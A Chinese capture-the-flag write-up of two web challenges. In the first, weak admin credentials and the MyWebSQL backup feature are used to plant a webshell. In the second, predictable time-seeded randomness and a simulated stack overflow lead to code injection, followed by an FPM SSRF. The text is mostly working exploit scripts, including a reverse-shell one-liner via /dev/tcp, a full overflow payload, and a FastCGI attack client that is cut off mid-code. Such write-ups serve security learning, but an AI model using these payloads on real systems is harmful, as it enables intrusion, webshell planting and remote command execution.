很有意思的题目,研究了一下自认为感觉比较有意思的两个Web题目,记录一下过程。
打开题目链接后发现运行MyWebSQL程序,版本为3.7,搜索得到相关漏洞信息:
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201902-318
漏洞文档中说明漏洞利用条件为后台,尝试弱口令admin/admin登录后台成功。
创建表并添加一句话木马到表内数据,利用备份功能将该表内数据备份为.php结尾文件,成功获取Webshell(密码不添加引号,避免备份转义导致失败),地址为:
http://35.243.82.53:10080/backups/xxxx.php
连上shell找到flag位于根目录下,但是却没有权限直接访问,但是同目录下发现readflag文件,执行后需要输入验证码:
下载程序并使用IDA进行查看:
发现输出flag处使用了ualarm()函数,将使当前进程在0x3E8u(us位单位)内产生会终止当前进程的SIGALRM信号。
在当前进程收到退出信号前,完成验证码计算并提交,获取flag,只要是考查管道。
因为时间很短,网络延迟高,因此这里攻击脚本只能在服务器上运行,以求快速。
php虽然是题目的默认环境但是感觉并不是特别好用。
首先最常见的system,exec,没有管道,无法获取输入输出进行交互。
接着就是popen,打开一个指向进程的管道,只不过它是单向的(只能用于读或写)。
最后的解决方案proc_open,执行命令,并且打开用来输入/输出的文件指针。
此处为追求程序的速度,不能在php中使用explode,preg_match等准确但损耗性能的函数,可以选取substr或更优雅的str_replace,但可能因为php本身性能偶尔还是会超时。
脚本如下:
<?php $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("file", "/tmp/error-output.txt", "a") ); $cwd = '/tmp'; $stime=microtime(true); $process = proc_open('/readflag 2>&1', $descriptorspec, $pipes, $cwd); $string = stream_get_contents($pipes[1],130); $string = str_replace('Solve the easy challenge first','',$string); $string = str_replace('input your answer:','',$string); $string = str_replace('\n','',$string); $result = eval("return $rs;"); echo $result; fwrite($pipes[0], "$result\n"); $rs = stream_get_contents($pipes[1],130); echo $rs; fclose($pipes[1]);
这是官方解法,但是对perl却不太熟悉,感觉perl速度可能更快
use strict; use IPC::Open3; my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' ) or die "open3() failed $!"; my $r; $r = <CHLD_OUT>; print "$r"; $r = <CHLD_OUT>; print "$r"; $r = eval "$r"; print "$r\n"; print CHLD_IN "$r\n"; $r = <CHLD_OUT>; print "$r"; $r = <CHLD_OUT>; print "$r";
最开始并没有发现装有python
结果是python3,似乎丢一个python3的执行文件上去就可执行,打算测试时服务器已经关闭,未测试
ualarm()函数通过SIGALRM信号结束进程,可以通过trap命令修改SIGALRM信号的处理方式:
比如,按Ctrl+C会使脚本终止执行,实际上系统发送了SIGINT信号给脚本进程,SIGINT信号的默认处理方式就是退出程序。如果要在Ctrl+C不退出程序,那么就得使用trap命令来指定一下SIGINT的处理方式了。
trap命令的参数分为两部分,前一部分是接收到指定信号时将要采取的行动,后一部分是要处理的信号名。
首先反弹可以交互bash
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
重新定义SIGALRM信号的处理方式为不作任何操作
trap "" 14
官方HINT:
表单中输入啥都会返回phpInfo,:
查看源码发现可以添加参数获得源码?source=1
Sandbox.php
<?php $banner = <<<EOF <!--/?source=1--> <pre> .----------------. .----------------. .----------------. .----------------. .----------------. .----------------. .----------------. | .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. | | | _________ | || | ______ | || | ____ ____ | || | ____ | || | ____ ____ | || | _____ _____ | || | ______ | | | | |_ ___ | | || | .' ___ | | || | |_ || _| | || | .' `. | || | |_ || _| | || ||_ _||_ _|| || | |_ _ \ | | | | | |_ \_| | || | / .' \_| | || | | |__| | | || | / .--. \ | || | | |__| | | || | | | | | | || | | |_) | | | | | | _| _ | || | | | | || | | __ | | || | | | | | | || | | __ | | || | | ' ' | | || | | __'. | | | | _| |___/ | | || | \ `.___.'\ | || | _| | | |_ | || | \ `--' / | || | _| | | |_ | || | \ `--' / | || | _| |__) | | | | | |_________| | || | `._____.' | || | |____||____| | || | `.____.' | || | |____||____| | || | `.__.' | || | |_______/ | | | | | || | | || | | || | | || | | || | | || | | | | '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' | '----------------' '----------------' '----------------' '----------------' '----------------' '----------------' '----------------' Welcome to random stack ! Try to execute `/readflag` 😛 </pre> <form action="/" method="post">root > <input name="data" placeholder="input some data"></form> EOF; echo $banner; if(isset($_GET['source'])){ $file = fopen("index.php","r"); $contents = fread($file,filesize("index.php")); echo "---------------sourcecode---------------"; echo base64_encode($contents); echo "----------------------------------------"; fclose($file); //Dockerfile here echo "Dockerfile here"; //此处太长省略 highlight_file(__FILE__); } $disable_functions = ini_get("disable_functions"); $loadext = get_loaded_extensions(); foreach ($loadext as $ext) { if(in_array($ext,array("Core","date","libxml","pcre","zlib","filter","hash","sqlite3","zip"))) continue; else { if(count(get_extension_funcs($ext)?get_extension_funcs($ext):array()) >= 1) $dfunc = join(',',get_extension_funcs($ext)); else continue; $disable_functions = $disable_functions.$dfunc.","; } } $func = get_defined_functions()["internal"]; foreach ($func as $f){ if(stripos($f,"file") !== false || stripos($f,"open") !== false || stripos($f,"read") !== false || stripos($f,"write") !== false){ $disable_functions = $disable_functions.$f.","; } } ini_set("disable_functions", $disable_functions); ini_set("open_basedir","/var/www/html/:/tmp/".md5($_SERVER['REMOTE_ADDR'])."/");
可以得到安装的dockerfile,经过Base64解码后内容为内容为:
FROM ubuntu:18.04 RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.ustc.edu.cn/g" /etc/apt/sources.list RUN apt-get update RUN apt-get -y install software-properties-common RUN add-apt-repository -y ppa:ondrej/php RUN apt-get update RUN apt-get -y upgrade RUN apt-get -y install tzdata RUN apt-get -y install vim RUN apt-get -y install apache2 RUN apt-cache search "php" | grep "php7.3"| awk '{print $1}'| xargs apt-get -y install RUN service --status-all | awk '{print $4}'| xargs -i service {} stop RUN rm /var/www/html/index.html COPY randomstack.php /var/www/html/index.php COPY sandbox.php /var/www/html/sandbox.php RUN chmod 755 -R /var/www/html/ COPY flag /flag COPY readflag /readflag RUN chmod 555 /readflag RUN chmod u+s /readflag RUN chmod 500 /flag COPY ./run.sh /run.sh COPY ./php.ini /etc/php/7.3/apache2/php.ini RUN chmod 700 /run.sh CMD ["/run.sh"]
安装了PHP7.3的全部拓展,并且根据HINT运行了全部安装的的服务,Webserver是apache2:
还能发现Base64输出了index.php的源码,解码后发现代码经过mzphp2混淆,这里可以直接花钱解密O(∩_∩)O哈哈~
index.php(Decode)
<?php require_once 'sandbox.php'; $seed = time(); srand($seed); define("INS_OFFSET",rand(0x0000,0xffff)); $regs = array( 'eax'=>0x0, 'ebp'=>0x0, 'esp'=>0x0, 'eip'=>0x0, ); function aslr(&$value,$key) { $value = $value + 0x60000000 + INS_OFFSET + 1 ; } $func_ = array_flip($func); array_walk($func_,"aslr"); $plt = array_flip($func_); function handle_data($data){ $data_len = strlen($data); $bytes4_size = $data_len/4+(1*($data_len%4)); $cut_data = str_split($data,4); $cut_data[$bytes4_size-1] = str_pad($cut_data[$bytes4_size-1],4,"\x00"); foreach ($cut_data as $key=>&$value){ $value = strrev(bin2hex($value)); } return $cut_data; } function gen_canary(){ $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789'; $c_1 = $chars[rand(0,strlen($chars)-1)]; $c_2 = $chars[rand(0,strlen($chars)-1)]; $c_3 = $chars[rand(0,strlen($chars)-1)]; $c_4 = "\x00"; return handle_data($c_1.$c_2.$c_3.$c_4)[0]; } $canary = gen_canary(); $canarycheck = $canary; function check_canary(){ global $canary; global $canarycheck; if($canary != $canarycheck){ die("emmmmmm...Don't attack me!"); } } Class stack{ private $ebp,$stack,$esp; public function __construct($retaddr,$data) { $this->stack = array(); global $regs; $this->ebp = &$regs['ebp']; $this->esp = &$regs['esp']; $this->ebp = 0xfffe0000 + rand(0x0000,0xffff); global $canary; $this->stack[$this->ebp - 0x4] = &$canary; $this->stack[$this->ebp] = $this->ebp + rand(0x0000,0xffff); $this->esp = $this->ebp - (rand(0x20,0x60)*4); $this->stack[$this->ebp + 0x4] = dechex($retaddr); if($data != NULL) $this->pushdata($data); } public function pushdata($data){ $data = handle_data($data); for($i=0;$i<count($data);$i++){ $this->stack[$this->esp+($i*4)] = $data[$i];//no args in my stack haha check_canary(); } } public function recover_data($data){ return hex2bin(strrev($data)); } public function outputdata(){ global $regs; echo "root says: "; while(1){ if($this->esp == $this->ebp-0x4) break; $this->pop("eax"); $data = $this->recover_data($regs["eax"]); $tmp = explode("\x00",$data); echo $tmp[0]; if(count($tmp)>1){ break; } } } public function ret(){ $this->esp = $this->ebp; $this->pop('ebp'); $this->pop("eip"); $this->call(); } public function get_data_from_reg($regname){ global $regs; $data = $this->recover_data($regs[$regname]); $tmp = explode("\x00",$data); return $tmp[0]; } public function call() { global $regs; global $plt; $funcaddr = hexdec($regs['eip']); if(isset($_REQUEST[$funcaddr])) { $this->pop('eax'); $argnum = (int)$this->get_data_from_reg("eax"); $args = array(); for($i=0;$i<$argnum;$i++){ $this->pop('eax'); $argaddr = $this->get_data_from_reg("eax"); array_push($args,$_REQUEST[$argaddr]); } call_user_func_array($plt[$funcaddr],$args); } else { call_user_func($plt[$funcaddr]); } } public function push($reg){ global $regs; $reg_data = $regs[$reg]; if( hex2bin(strrev($reg_data)) == NULL ) die("data error"); $this->stack[$this->esp] = $reg_data; $this->esp -= 4; } public function pop($reg){ global $regs; $regs[$reg] = $this->stack[$this->esp]; $this->esp += 4; } public function __call($_a1,$_a2) { check_canary(); } } if(isset($_POST['data'])) { $phpinfo_addr = array_search('phpinfo', $plt); $gets = $_POST['data']; $main_stack = new stack($phpinfo_addr, $gets); echo "--------------------output---------------------</br></br>"; $main_stack->outputdata(); echo "</br></br>------------------phpinfo()------------------</br>"; $main_stack->ret(); }
可以发现这是一个使用php实现的栈,ORZ,很有意思。
ORZ,现在梳理一下两个页面的代码逻辑:
sandbox.php:
禁用许多函数,比如函数名种包括file、open字符的函数都会被禁用。
foreach ( $func as $f ) { if ( stripos( $f, "file" ) !== false || stripos( $f, "open" ) !== false || stripos( $f, "read" ) !== false || stripos( $f, "write" ) !== false ) { $disable_functions = $disable_functions . $f . ","; } }
获取全部的内置函数名称,存在$func变量中。
$func = get_defined_functions()["internal"];
index.php:
以当前时间进行随机数播种:
$seed = time(); srand( $seed );
将包含全部的内置函数名称的$func转化为'地址'=>'函数名'的$plt数组,并且被aslr保护,也就是键值随机。
define( 'INS_OFFSET', rand( 0x0, 0xffff ) ); function aslr(&$value,$key) { $value = $value + 0x60000000 + INS_OFFSET + 1 ; } $func_ = array_flip($func); array_walk($func_,"aslr"); $plt = array_flip($func_);
栈内初始化时有canary机制,在栈内随机初始化一个$canary,用于检测栈是否遭受缓冲区溢出。
栈内压入局部变量时会校验当前栈内的$canary是否和$canarycheck一致,若不一致就表示遭到攻击,过长的缓冲区溢出就会退出。
function gen_canary(){ $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789'; $c_1 = $chars[rand(0,strlen($chars)-1)]; $c_2 = $chars[rand(0,strlen($chars)-1)]; $c_3 = $chars[rand(0,strlen($chars)-1)]; $c_4 = "\x00"; return handle_data($c_1.$c_2.$c_3.$c_4)[0]; } $canary = gen_canary(); $canarycheck = $canary; function check_canary(){ global $canary; global $canarycheck; if($canary != $canarycheck){ die("emmmmmm...Don't attack me!"); } } Class stack{ private $ebp,$stack,$esp; public function __construct($retaddr,$data) { $this->stack = array(); global $regs; $this->ebp = &$regs['ebp']; $this->esp = &$regs['esp']; $this->ebp = 0xfffe0000 + rand(0x0000,0xffff); global $canary; $this->stack[$this->ebp - 0x4] = &$canary; $this->stack[$this->ebp] = $this->ebp + rand(0x0000,0xffff); $this->esp = $this->ebp - (rand(0x20,0x60)*4); $this->stack[$this->ebp + 0x4] = dechex($retaddr); if($data != NULL) $this->pushdata($data); }
phpinfo的函数地址被默认放在ebp + 0x4(函数结束后eip的下一跳),去$plt映射表中找到函数名,传给call_user_func完成执行,因此正常输入都会返回phpinfo信息。
public function call() { global $regs; global $plt; $a = hexdec( $regs['eip'] ); if ( isset( $_REQUEST[ $a ] ) ) { $this->pop( 'eax' ); $len = (int) $this->get_data_from_reg( 'eax' ); $args = array(); for ( $i = 0; $i < $len; $i ++ ) { $this->pop( 'eax' ); $data = $this->get_data_from_reg( 'eax' ); array_push( $args, $_REQUEST[ $data ] ); } call_user_func_array( $plt[ $a ], $args ); } else { call_user_func( $plt[ $a ] ); } }
解决思路:
这是一个缓冲区溢出的题目,和bin的栈溢出的思路没什么太大的区别。首先绕过aslr获取利用恶意函数地址,在绕过canary保护完成栈覆盖,控制返回地址,调用恶意函数完成代码执行。
可以发现不管是aslr还是canary都是根据随机数进行初始化,而随机数的的种子则是每次请求的时间time()。
经过测试发现题目服务器上的时间设置和我们是一致的,服务器time()函数返回的时间和本地time()函数返回的时间一致:
echo time() . "\n"; function _httpPost( $url = "", $requestData = array() ) { $curl = curl_init(); curl_setopt( $curl, CURLOPT_URL, $url ); curl_setopt( $curl, CURLOPT_RETURNTRANSFER, true ); curl_setopt( $curl, CURLOPT_POSTFIELDS, http_build_query( $requestData ) ); $res = curl_exec( $curl ); //$info = curl_getinfo($ch); curl_close( $curl ); return $res; } $data = array( 'data' => 'Test time' ); $rs = _httpPost( 'http://34.85.27.91:10080/', $data ); echo $rs;
随机数的种子可以获取,因此对rand函数结果产生的的随机数就可以在本地进行预测,因此aslr,canary均失效。
直接根据源码修改得到获取webshell的EXP:
<?php $disable_functions = ini_get( "disable_functions" ); $loadext = get_loaded_extensions(); foreach ( $loadext as $ext ) { if ( in_array( $ext, array( "Core", "date", "libxml", "pcre", "zlib", "filter", "hash", "sqlite3", "zip" ) ) ) { continue; } else { if ( count( get_extension_funcs( $ext ) ? get_extension_funcs( $ext ) : array() ) >= 1 ) { $dfunc = join( ',', get_extension_funcs( $ext ) ); } else { continue; } $disable_functions = $disable_functions . $dfunc . ","; } } $func = get_defined_functions()["internal"]; $seed = time(); srand( $seed ); define( 'INS_OFFSET', rand( 0x0, 0xffff ) ); $regs = array( 'eax' => 0x0, 'ebp' => 0x0, 'esp' => 0x0, 'eip' => 0x0 ); function aslr( &$a, $O0O ) { $a = $a + 0x60000000 + INS_OFFSET + 0x1; } //构造函数地址 $func_ = array_flip( $func ); array_walk( $func_, 'aslr' ); $plt = array_flip( $func_ ); function handle_data( $data ) { $len = strlen( $data ); $a = $len / 0x4 + 0x1 * ( $len % 0x4 ); $ret = str_split( $data, 0x4 ); $ret[ $a - 0x1 ] = str_pad( $ret[ $a - 0x1 ], 0x4, "\x00" ); foreach ( $ret as $key => &$value ) { $value = strrev( bin2hex( $value ) ); } return $ret; } function gen_canary() { $canary = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789'; $a = $canary[ rand( 0, strlen( $canary ) - 0x1 ) ]; $b = $canary[ rand( 0, strlen( $canary ) - 0x1 ) ]; $c = $canary[ rand( 0, strlen( $canary ) - 0x1 ) ]; $d = "\x00"; return handle_data( $a . $b . $c . $d )[0]; } $canary = gen_canary(); $canarycheck = $canary; function check_canary() { global $canary; global $canarycheck; if ( $canary != $canarycheck ) { die( 'emmmmmm...Don\'t attack me!' ); } } class stack { public $ebp, $stack, $esp; public function __construct( $a, $b ) { $this->stack = array(); global $regs; $this->ebp =& $regs['ebp']; $this->esp =& $regs['esp']; $this->ebp = 0xfffe0000 + rand( 0x0, 0xffff ); global $canary; $this->stack[ $this->ebp - 0x4 ] =& $canary; $this->canary = $canary; $this->stack[ $this->ebp ] = $this->ebp + rand( 0x0, 0xffff ); $this->esp = $this->ebp - rand( 0x20, 0x60 ) * 0x4; $this->stack[ $this->ebp + 0x4 ] = dechex( $a ); if ( $b != null ) { $this->pushdata( $b ); } } public function pushdata( $data ) { $data_bak = $data; $data = handle_data( $data ); for ( $i = 0; $i < count( $data ); $i ++ ) { $this->stack[ $this->esp + $i * 0x4 ] = $data[ $i ]; //no args in my stack haha check_canary(); } } public function recover_data( $data ) { return hex2bin( strrev( $data ) ); } public function outputdata() { global $regs; echo 'root says: '; while ( 0x1 ) { if ( $this->esp == $this->ebp - 0x4 ) { break; } $this->pop( 'eax' ); $data = $this->recover_data( $regs['eax'] ); $ret = explode( "\x00", $data ); echo $ret[0]; if ( count( $ret ) > 0x1 ) { break; } } } public function ret() { $this->esp = $this->ebp; $this->pop( 'ebp' ); $this->pop( 'eip' ); $this->call(); } public function get_data_from_reg( $item ) { global $regs; $a = $this->recover_data( $regs[ $item ] ); $b = explode( "\x00", $a ); return $b[0]; } public function call() { global $regs; global $plt; $a = hexdec( $regs['eip'] ); if ( isset( $_REQUEST[ $a ] ) ) { $this->pop( 'eax' ); $len = (int) $this->get_data_from_reg( 'eax' ); $args = array(); for ( $i = 0; $i < $len; $i ++ ) { $this->pop( 'eax' ); $data = $this->get_data_from_reg( 'eax' ); array_push( $args, $_REQUEST[ $data ] ); } call_user_func_array( $plt[ $a ], $args ); } else { call_user_func( $plt[ $a ] ); } } public function push( $item ) { global $regs; $data = $regs[ $item ]; if ( hex2bin( strrev( $data ) ) == null ) { die( 'data error' ); } $this->stack[ $this->esp ] = $data; $this->esp -= 0x4; } public function pop( $item ) { global $regs; $regs[ $item ] = $this->stack[ $this->esp ]; $this->esp += 0x4; } public function __call( $name, $args ) { check_canary(); } } function hexToStr( $hex ) { $str = ""; for ( $i = 0; $i < strlen( $hex ) - 1; $i += 2 ) { $str .= chr( hexdec( $hex[ $i ] . $hex[ $i + 1 ] ) ); } return $str; } function _httpPost( $url = "", $requestData = array() ) { $curl = curl_init(); #curl_setopt( $curl, CURLOPT_PROXY, "127.0.0.1:8080" ); curl_setopt( $curl, CURLOPT_URL, $url ); curl_setopt( $curl, CURLOPT_RETURNTRANSFER, true ); //普通数据 curl_setopt( $curl, CURLOPT_POSTFIELDS, http_build_query( $requestData ) ); $res = curl_exec( $curl ); //$info = curl_getinfo($ch); curl_close( $curl ); return $res; } $phpinfo_addr = array_search( 'phpinfo', $plt ); $gets = 'Rai4over'; $main_stack1 = new stack( $phpinfo_addr, $gets ); $ebp = $main_stack1->ebp; $esp = $main_stack1->esp; $padding_num = ( $main_stack1->ebp - $main_stack1->esp ) - 4; $shellcode = '$dir="./";$file=scandir($dir);print_r($file);'; $post_data = array(); $data = str_repeat( 'A', $padding_num ) . hexToStr( strrev( $canarycheck ) ) . "BBBB" . hexToStr( strrev( dechex( $func_['create_function'] ) ) ) . '000266667777'; $post_data['data'] = $data; $post_data[ $func_['create_function'] ] = 'Rai4over'; $post_data['6666'] = ''; $post_data['7777'] = "'1';}" . $shellcode . "/*"; $rs = _httpPost( "http://34.85.27.91:10080/", $post_data ); echo $rs;
本地构造栈,可以得到和服务器一样的栈结构($canarycheck,$plt等)
栈由低地址向高地址推进,计算AAA填充长度,需要减去canary的长度(-4):
$phpinfo_addr = array_search( 'phpinfo', $plt ); $gets = 'Rai4over'; $main_stack1 = new stack( $phpinfo_addr, $gets ); $ebp = $main_stack1->ebp; $esp = $main_stack1->esp; $padding_num = ( $main_stack1->ebp - $main_stack1->esp ) - 4;
计算并覆盖正确的canary,EBP值随意,根据call函数:
public function call() { global $regs; global $plt; $a = hexdec( $regs['eip'] ); if ( isset( $_REQUEST[ $a ] ) ) { $this->pop( 'eax' ); $len = (int) $this->get_data_from_reg( 'eax' ); $args = array(); for ( $i = 0; $i < $len; $i ++ ) { $this->pop( 'eax' ); $data = $this->get_data_from_reg( 'eax' ); array_push( $args, $_REQUEST[ $data ] ); } call_user_func_array( $plt[ $a ], $args ); } else { call_user_func( $plt[ $a ] ); } }
会调用call_user_func_array( $plt[ $a ], $args );,参数为数组,因此将ret地址覆盖为create_function函数地址,create_function可以接受数组。
需要进入if分支,因此发送数据时需要发送包含create_function函数地址的查询参数。
create_function函数传入的参数数量、还有参数的内容也在是通过栈内pop得到,因此我们因该继续覆盖:
溢出缓冲区的data完整构造如下:
$data = str_repeat( 'A', $padding_num ) . hexToStr( strrev( $canarycheck ) ) . "BBBB" . hexToStr( strrev( dechex( $func_['create_function'] ) ) ) . '000266667777';
现在已经获得受限制的webshell。
当前apache2载入/etc/php/7.3/apache2/php.ini配置文件的php环境禁用了执行命令的函数,但是我们可以利用受限的webshell连接没有额外安全设置的默认安装并运行的的FPM,SSRF完成命令执行。
控制FPM还需要利用auto_prepend_file+php://input包含进行php代码执行,再使用system函数反弹shell。
FPM攻击脚本如下:
<?php class TimedOutException extends \Exception { } class ForbiddenException extends \Exception { } class Client { const VERSION_1 = 1; const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; const STDOUT = 6; const STDERR = 7; const DATA = 8; const GET_VALUES = 9; const GET_VALUES_RESULT = 10; const UNKNOWN_TYPE = 11; const MAXTYPE = self::UNKNOWN_TYPE; const RESPONDER = 1; const AUTHORIZER = 2; const FILTER = 3; const REQUEST_COMPLETE = 0; const CANT_MPX_CONN = 1; const OVERLOADED = 2; const UNKNOWN_ROLE = 3; const MAX_CONNS = 'MAX_CONNS'; const MAX_REQS = 'MAX_REQS'; const MPXS_CONNS = 'MPXS_CONNS'; const HEADER_LEN = 8; const REQ_STATE_WRITTEN = 1; const REQ_STATE_OK = 2; const REQ_STATE_ERR = 3; const REQ_STATE_TIMED_OUT = 4; /** * Socket * @var Resource */ private $_sock = null; /** * Host * @var String */ private $_host = null; /** * Port * @var Integer */ private $_port = null; /** * Keep Alive * @var Boolean */ private $_keepAlive = false; /** * Outstanding request statuses keyed by request id * * Each request is an array with following form: * * array( * 'state' => REQ_STATE_* * 'response' => null | string * ) * * @var array */ private $_requests = array(); /** * Use persistent sockets to connect to backend * @var Boolean */ private $_persistentSocket = false; /** * Connect timeout in milliseconds * @var Integer */ private $_connectTimeout = 5000; /** * Read/Write timeout in milliseconds * @var Integer */ private $_readWriteTimeout = 5000; /** * Constructor * * @param String $host Host of the FastCGI application * @param Integer $port Port of the FastCGI application */ public function __construct( $host, $port ) { $this->_host = $host; $this->_port = $port; } /** * Define whether or not the FastCGI application should keep the connection * alive at the end of a request * * @param Boolean $b true if the connection should stay alive, false otherwise */ public function setKeepAlive( $b ) { $this->_keepAlive = (boolean) $b; if ( ! $this->_keepAlive && $this->_sock ) { fclose( $this->_sock ); } } /** * Get the keep alive status * * @return Boolean true if the connection should stay alive, false otherwise */ public function getKeepAlive() { return $this->_keepAlive; } /** * Define whether or not PHP should attempt to re-use sockets opened by previous * request for efficiency * * @param Boolean $b true if persistent socket should be used, false otherwise */ public function setPersistentSocket( $b ) { $was_persistent = ( $this->_sock && $this->_persistentSocket ); $this->_persistentSocket = (boolean) $b; if ( ! $this->_persistentSocket && $was_persistent ) { fclose( $this->_sock ); } } /** * Get the pesistent socket status * * @return Boolean true if the socket should be persistent, false otherwise */ public function getPersistentSocket() { return $this->_persistentSocket; } /** * Set the connect timeout * * @param Integer number of milliseconds before connect will timeout */ public function setConnectTimeout( $timeoutMs ) { $this->_connectTimeout = $timeoutMs; } /** * Get the connect timeout * * @return Integer number of milliseconds before connect will timeout */ public function getConnectTimeout() { return $this->_connectTimeout; } /** * Set the read/write timeout * * @param Integer number of milliseconds before read or write call will timeout */ public function setReadWriteTimeout( $timeoutMs ) { $this->_readWriteTimeout = $timeoutMs; $this->set_ms_timeout( $this->_readWriteTimeout ); } /** * Get the read timeout * * @return Integer number of milliseconds before read will timeout */ public function getReadWriteTimeout() { return $this->_readWriteTimeout; } /** * Helper to avoid duplicating milliseconds to secs/usecs in a few places * * @param Integer millisecond timeout * * @return Boolean */ private function set_ms_timeout( $timeoutMs ) { if ( ! $this->_sock ) { return false; } return stream_set_timeout( $this->_sock, floor( $timeoutMs / 1000 ), ( $timeoutMs % 1000 ) * 1000 ); } /** * Create a connection to the FastCGI application */ private function connect() { if ( ! $this->_sock ) { if ( $this->_persistentSocket ) { $this->_sock = pfsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 ); } else { $this->_sock = fsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 ); } if ( ! $this->_sock ) { throw new \Exception( 'Unable to connect to FastCGI application: ' . $errstr ); } if ( ! $this->set_ms_timeout( $this->_readWriteTimeout ) ) { throw new \Exception( 'Unable to set timeout on socket' ); } } } /** * Build a FastCGI packet * * @param Integer $type Type of the packet * @param String $content Content of the packet * @param Integer $requestId RequestId */ private function buildPacket( $type, $content, $requestId = 1 ) { $clen = strlen( $content ); return chr( self::VERSION_1 ) /* version */ . chr( $type ) /* type */ . chr( ( $requestId >> 8 ) & 0xFF ) /* requestIdB1 */ . chr( $requestId & 0xFF ) /* requestIdB0 */ . chr( ( $clen >> 8 ) & 0xFF ) /* contentLengthB1 */ . chr( $clen & 0xFF ) /* contentLengthB0 */ . chr( 0 ) /* paddingLength */ . chr( 0 ) /* reserved */ . $content; /* content */ } /** * Build an FastCGI Name value pair * * @param String $name Name * @param String $value Value * * @return String FastCGI Name value pair */ private function buildNvpair( $name, $value ) { $nlen = strlen( $name ); $vlen = strlen( $value ); if ( $nlen < 128 ) { /* nameLengthB0 */ $nvpair = chr( $nlen ); } else { /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ $nvpair = chr( ( $nlen >> 24 ) | 0x80 ) . chr( ( $nlen >> 16 ) & 0xFF ) . chr( ( $nlen >> 8 ) & 0xFF ) . chr( $nlen & 0xFF ); } if ( $vlen < 128 ) { /* valueLengthB0 */ $nvpair .= chr( $vlen ); } else { /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ $nvpair .= chr( ( $vlen >> 24 ) | 0x80 ) . chr( ( $vlen >> 16 ) & 0xFF ) . chr( ( $vlen >> 8 ) & 0xFF ) . chr( $vlen & 0xFF ); } /* nameData & valueData */ return $nvpair . $name . $value; } /** * Read a set of FastCGI Name value pairs * * @param String $data Data containing the set of FastCGI NVPair * * @return array of NVPair */ private function readNvpair( $data, $length = null ) { $array = array(); if ( $length === null ) { $length = strlen( $data ); } $p = 0; while ( $p != $length ) { $nlen = ord( $data{$p ++} ); if ( $nlen >= 128 ) { $nlen = ( $nlen & 0x7F << 24 ); $nlen |= ( ord( $data{$p ++} ) << 16 ); $nlen |= ( ord( $data{$p ++} ) << 8 ); $nlen |= ( ord( $data{$p ++} ) ); } $vlen = ord( $data{$p ++} ); if ( $vlen >= 128 ) { $vlen = ( $nlen & 0x7F << 24 ); $vlen |= ( ord( $data{$p ++} ) << 16 ); $vlen |= ( ord( $data{$p ++} ) << 8 ); $vlen |= ( ord( $data{$p ++} ) ); } $array[ substr( $data, $p, $nlen ) ] = substr( $data, $p + $nlen, $vlen ); $p += ( $nlen + $vlen ); } return $array; } /** * Decode a FastCGI Packet * * @param String $data String containing all the packet * * @return array */ private function decodePacketHeader( $data ) { $ret = array(); $ret['version'] = ord( $data{0} ); $ret['type'] = ord( $data{1} ); $ret['requestId'] = ( ord( $data{2} ) << 8 ) + ord( $data{3} ); $ret['contentLength'] = ( ord( $data{4} ) << 8 ) + ord( $data{5} ); $ret['paddingLength'] = ord( $data{6} ); $ret['reserved'] = ord( $data{7} ); return $ret; } /** * Read a FastCGI Packet * * @return array */ private function readPacket() { if ( $packet = fread( $this->_sock, self::HEADER_LEN ) ) { $resp = $this->decodePacketHeader( $packet ); $resp['content'] = ''; if ( $resp['contentLength'] ) { $len = $resp['contentLength']; while ( $len && ( $buf = fread( $this->_sock, $len ) ) !== false ) { $len -= strlen( $buf ); $resp['content'] .= $buf; } } if ( $resp['paddingLength'] ) { $buf = fread( $this->_sock, $resp['paddingLength'] ); } return $resp; } else { return false; } } /** * Get Informations on the FastCGI application * * @param array $requestedInfo information to retrieve * * @return array */ public function getValues( array $requestedInfo ) { $this->connect(); $request = ''; foreach ( $requestedInfo as $info ) { $request .= $this->buildNvpair( $info, '' ); } fwrite( $this->_sock, $this->buildPacket( self::GET_VALUES, $request, 0 ) ); $resp = $this->readPacket(); if ( $resp['type'] == self::GET_VALUES_RESULT ) { return $this->readNvpair( $resp['content'], $resp['length'] ); } else { throw new \Exception( 'Unexpected response type, expecting GET_VALUES_RESULT' ); } } /** * Execute a request to the FastCGI application * * @param array $params Array of parameters * @param String $stdin Content * * @return String */ public function request( array $params, $stdin ) { $id = $this->async_request( $params, $stdin ); return $this->wait_for_response( $id ); } /** * Execute a request to the FastCGI application asyncronously * * This sends request to application and returns the assigned ID for that request. * * You should keep this id for later use with wait_for_response(). Ids are chosen randomly * rather than seqentially to guard against false-positives when using persistent sockets. * In that case it is possible that a delayed response to a request made by a previous script * invocation comes back on this socket and is mistaken for response to request made with same ID * during this request. * * @param array $params Array of parameters * @param String $stdin Content * * @return Integer */ public function async_request( array $params, $stdin ) { $this->connect(); // Pick random number between 1 and max 16 bit unsigned int 65535 $id = mt_rand( 1, ( 1 << 16 ) - 1 ); // Using persistent sockets implies you want them keept alive by server! $keepAlive = intval( $this->_keepAlive || $this->_persistentSocket ); $request = $this->buildPacket( self::BEGIN_REQUEST , chr( 0 ) . chr( self::RESPONDER ) . chr( $keepAlive ) . str_repeat( chr( 0 ), 5 ) , $id ); $paramsRequest = ''; foreach ( $params as $key => $value ) { $paramsRequest .= $this->buildNvpair( $key, $value, $id ); } if ( $paramsRequest ) { $request .= $this->buildPacket( self::PARAMS, $paramsRequest, $id ); } $request .= $this->buildPacket( self::PARAMS, '', $id ); if ( $stdin ) { $request .= $this->buildPacket( self::STDIN, $stdin, $id ); } $request .= $this->buildPacket( self::STDIN, '', $id ); if ( fwrite( $this->_sock, $request ) === false || fflush( $this->_sock ) === false ) { $info = 